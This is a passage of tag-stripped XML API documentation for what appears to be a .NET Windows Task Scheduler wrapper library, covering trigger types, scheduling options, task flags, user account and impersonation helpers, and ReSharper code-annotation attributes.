instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as 